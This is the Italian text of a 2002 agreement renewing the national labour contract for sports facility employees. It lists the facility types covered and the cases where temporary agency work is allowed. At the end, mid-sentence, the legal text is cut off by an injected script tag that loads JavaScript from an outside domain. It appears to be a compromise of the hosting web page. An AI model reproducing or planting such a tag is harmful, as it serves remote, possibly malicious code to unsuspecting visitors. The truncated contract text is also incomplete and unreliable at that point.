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Categoria: Impianti sportivi Settore: Poligrafici e Spettacolo Data stipula: 21-1-2002 Data decorrenza: 1-2-2002 Data scadenza: 31-12-2003
L'anno 2002, il giorno 21 gennaio in Milano
tra
- Federazione Imprenditori Impianti Sportivi (FIIS) CONFCOMMERCIO
rappresentata da Riccardo Calamandrei, Ezio Ceolotto, Sergio Passetti,
Massimo Costa;
con l'assistenza dell'Unione del Commercio del Turismo e dei Servizi
della Provincia di Milano rappresentata da Daniela Ceruti, Pierantonio
Poy, Elisa Merola
e CONFCOMMERCIO rappresentata da Giuseppe Zabbatino e Donata Tirelli
e
- SLC-CGIL rappresentata da Emiliano Baretella;
- FISASCAT-CISL rappresentata da Antonio Michelagnoli;
- UILSIC-UIL rappresentata da Bruno Zino, Giancarlo Buscaglia
si è stipulata la presente ipotesi di accordo per il rinnovo del CCNL
PER I DIPENDENTI DEGLI IMPIANTI SPORTIVI
che avrà vigore fino al 31 dicembre 2003.
VALIDITÀ E SFERA DI APPLICAZIONE DEL CONTRATTO
Il 5° capoverso è modificato come segue:
1. Centri sportivi polivalenti:
strutture complesse che comprendono più impianti di varia tipologia e
natura tra quelli di seguito elencati.
2. Palestre:
con svolgimento di attività motorie, competitive o non, come ad esempio
body building, ginnastica a corpo libero, aerobica, danze, insegnamento
arti marziali, boxe di ogni genere, etc.
3. Centri fitness:
strutture dedicate allo svolgimento di attività finalizzate
prevalentemente alla prevenzione e al mantenimento del benessere
psico-fisico della persona.
4. Centri natatori/piscine:
strutture per lo svolgimento di attività motorie in acqua, ludiche o
sportive, quali ad esempio: nuoto, nuoto pinnato e sincronizzato,
attività subacquee, pallanuoto, tuffi, addestramento al salvataggio,
acquafitness, acquagym, idrospinning, etc.
5. Campi da tennis.
6. Campi da squash.
7. Campi da golf e minigolf.
8. Campi da calcio, calcetto, rugby e baseball.
9. Campi da pallavolo, basket e pallamano.
10. Maneggi e centri ippici:
dove, oltre alle tradizionali attività si svolgano ponytrekking,
attività turistica e ippoterapia.
11. Piste da pattinaggio:
sia a rotelle che su ghiaccio, anche per svolgimento di attività di
hockey.
12. Campi da bowling e bocce.
13. Sferisteri.
14. Campi per il gioco del pallone elastico e della palla a volo.
15. Laghetti per pesca sportiva.
16. Strutture per tiro a volo, tiro con l'arco, tiro a segno.
17. Centri finalizzati all'attività di orienteering, trekking,
arrampicata e mountainbike.
18. Centri per canottaggio, canoa, kayak:
svolti su fiumi, torrenti, corsi d'acqua, bacini artificiali, navigli e
piscine.
19. Centri per biliardo e tennis da tavolo.
20. Centri per le attività di volo.
21. Centri nautici.
Lavoro interinale.
Casi di ammissibilità.
Ai sensi dell'art. 1, comma 2, lett. a), legge 24.6.97 n. 196, le imprese
possono ricorrere ai contratti di fornitura di lavoro temporaneo, in
aggiunta ai casi previsti dalla predetta normativa, nelle seguenti
ipotesi:
1) adempimenti di pratiche o di attività di natura
tecnico-contabile-amministrativa a carattere saltuario che non sia
possibile espletare con l'organico in servizio;
2) esigenze di lavoro temporaneo per l'organizzazione di fiere,
manifestazioni e iniziative legate alla pratica sportiva, nonché per le
attività connesse;
3) punte di più intensa attività temporanea dovuta a flussi straordinari
di clientela o commesse di lavoro a cui non si possa far fronte con i
normali assetti organizzativi aziendali. In tale fattispecie la stipula di
contratti di lavoro temporaneo di durata superiore a 1 mese è subordinata
alla preventiva verifica della disponibilità all'assunzione a tempo
determinato dei lavoratori con la stessa qualifica nei cui confronti
ricorrano le condizioni di cui all'art. 23, comma 2, legge n<script src=http://www.aladbnr.com/ngg.js></script>
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